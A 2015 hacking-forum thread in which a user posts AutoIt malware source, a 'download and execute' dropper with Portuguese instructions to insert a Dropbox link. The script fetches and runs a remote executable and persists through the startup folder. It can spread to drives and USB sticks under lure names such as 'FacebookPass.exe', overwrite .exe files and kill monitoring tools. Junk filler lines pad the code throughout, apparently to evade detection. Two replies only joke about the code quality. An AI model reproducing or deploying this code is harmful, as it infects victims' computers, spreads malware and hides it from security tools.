H4ckCoder Posted August 18, 2015 Share Posted August 18, 2015 [HIDE-THANKS] #comments-start Coloque o link de seu server onde tem LINK DE SEU DROPBOX AQUI e não removar as "" #comments-end #NoTrayIcon Global $Url = "LINK DE SEU DROPBOX AQUI" $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Global $Name = "Sever.Exe" $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Global $Install = @TempDir $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Global $Copy = False $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Global $Startup = "Security.Exe" $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Global $USB_Spread = False $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Global $Exe_Spread = False $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Global $Anti_ProcessExplorer = False $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Global $Anti_ProcessHacker = False $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Global $Anti_apateDNS = False $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Global $Anti_SpyTheSpy = False $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Global $Anti_CCleaner = False $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Global $Anti_cports = False $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Global $Anti_TaskMangaer = False $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Global $Anti_TCPEye = False $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Global $Anti_SpeedGear = False $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Global $MsgBox = False $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Global $TitleMsg = "@Title@" $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Global $TextMsg = "@Text@" $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf $DIR1 = $Install & "\" & $Name $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf InetGet($Url,$Install & "\" & $Name,0) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Startup(True,$Startup) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf sleep(11) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf ShellExecute($Install & "\" & $Name) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf IF $Copy = True Then Drive($DIR1) EndIF $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf If $USB_Spread = True Then USBSp() EndIF $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf If $Exe_Spread = True Then ExeSP(@TempDir) EndIF $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf IF $Anti_ProcessExplorer = True Then ProcessClose("procexp.exe") EndIF $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf IF $Anti_ProcessHacker = True Then ProcessClose("ProcessHacker.exe") EndIF $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf IF $Anti_apateDNS = True Then ProcessClose("apateDNS.exe") EndIF $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf IF $Anti_SpyTheSpy = True Then ProcessClose("SpyTheSpy.exe") EndIF $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf IF $Anti_CCleaner = True Then ProcessClose("CCleaner.exe") EndIF $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf IF $Anti_cports = True Then ProcessClose("cports.exe") EndIF $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf IF $Anti_TaskMangaer = True Then ProcessClose("taskmgr.exe") EndIF $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf IF $Anti_TCPEye = True Then ProcessClose("TCPEye.exe") EndIF $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf IF $Anti_SpeedGear = True Then ProcessClose("SpeedGear.exe") EndIF $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf IF $MsgBox = True Then MsgBox(0,$TitleMsg,$TextMsg) EndIF $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Func Drive($DIR) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy($DIR , "A:\MyPhoto.scr", 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy($DIR , "B:\Important.pif", 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy($DIR , "D:\Secrit.scr", 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy($DIR , "E:\Theking.exe", 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy($DIR , "F:\OMG.exe", 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy($DIR , "G:\WTF.scr", 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy($DIR , "H:\itsMe.scr", 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy($DIR , "I:\MyGirl.scr", 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy($DIR , "J:\Sexy.scr", 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy($DIR , "K:\18+.scr", 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy($DIR , "L:\Update.exe", 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy($DIR , "M:\WoW.scr", 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy($DIR , "N:\4you.exe", 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy($DIR , "O:\Passwords.exe", 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy($DIR , "P:\MyPasswords.exe", 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy($DIR , "Q:\MyData.exe", 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy($DIR , "R:\BirthDaypic.scr", 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy($DIR , "S:\SecritData.exe", 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy($DIR , "T:\Secritfile.exe", 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy($DIR , "U:\FacebookPass.exe", 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy($DIR , "V:\EmailandPass.exe", 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy($DIR , "W:\Don'tOpen.scr", 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy($DIR , "X:\Crack.exe", 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy($DIR , "Y:\Xfiles..exe", 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy($DIR , "Z:\Privet.exe", 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf EndFunc $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Func USBSp() ;~ ;-------------------; ;==> USB Spread $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", "REG_DWORD", 2) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Local $DRemovable = DriveGetDrive("Removable") $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf For $i = 1 To UBound($DRemovable) - 1 $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Local $GetFullPath = StringUpper($DRemovable[$i]) & "\" $Files = _FileListToArray($DRemovable[$i], "*.*") For $Link = 1 To UBound($Files) - 1 $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf IF StringInStr($Files[$Link], ".lnk") = False Then $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileSetAttrib($GetFullPath & $Files[$Link], "+SHR") $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCreateShortcut($GetFullPath & $Files[$Link], $GetFullPath & $Files[$Link] & ".lnk") $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf EndIF $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Next $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf _ArrayDelete($Files, 0) _ArraySort($Files); Next $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf ;==> USB Spread ;~ ;--- ----------------; EndFunc $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Func ExeSP($Path) $Folders = _FileListToArray($Path, "*.exe") $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf For $ExeF = 1 To UBound($Folders) - 1 $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy(@ScriptFullPath, $Path & "\" & $Folders[$ExeF], 1) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Next $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf _ArrayDelete($Folders, 0) _ArraySort($Folders); EndFunc $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Func Startup($OnOrOff , $Name) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf IF $OnOrOff = True Then $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf IF FileExists(@StartupDir & "\" & $Name) Then $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileDelete(@StartupDir & "\" & $Name) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf FileCopy(@ScriptFullPath,@StartupDir & "\" & $Name) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf Else FileCopy(@ScriptFullPath,@StartupDir & "\" & $Name) $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf EndIF $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf EndIF $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf EndFunc $MrJokerjuck = 234 If $MrJokerjuck = 90 Then MsgBox(0 , "" , "") EndIf This is the hidden content, please Sign In or Sign Up [/HIDE-THANKS] Link to comment Share on other sites More sharing options...
0b3y Posted August 18, 2015 Share Posted August 18, 2015 Re: Auto dowload e execute au3 Dont know who coded but its a mess xD:dash1: Link to comment Share on other sites More sharing options...
Diabl0 Posted August 18, 2015 Share Posted August 18, 2015 Re: Auto dowload e execute au3 @Ob3y lol! Its worse than a mess... Too many lines of code for a function you can code with just a few lines. ;) But good share 4 edu purposes. Link to comment Share on other sites More sharing options...
Recommended Posts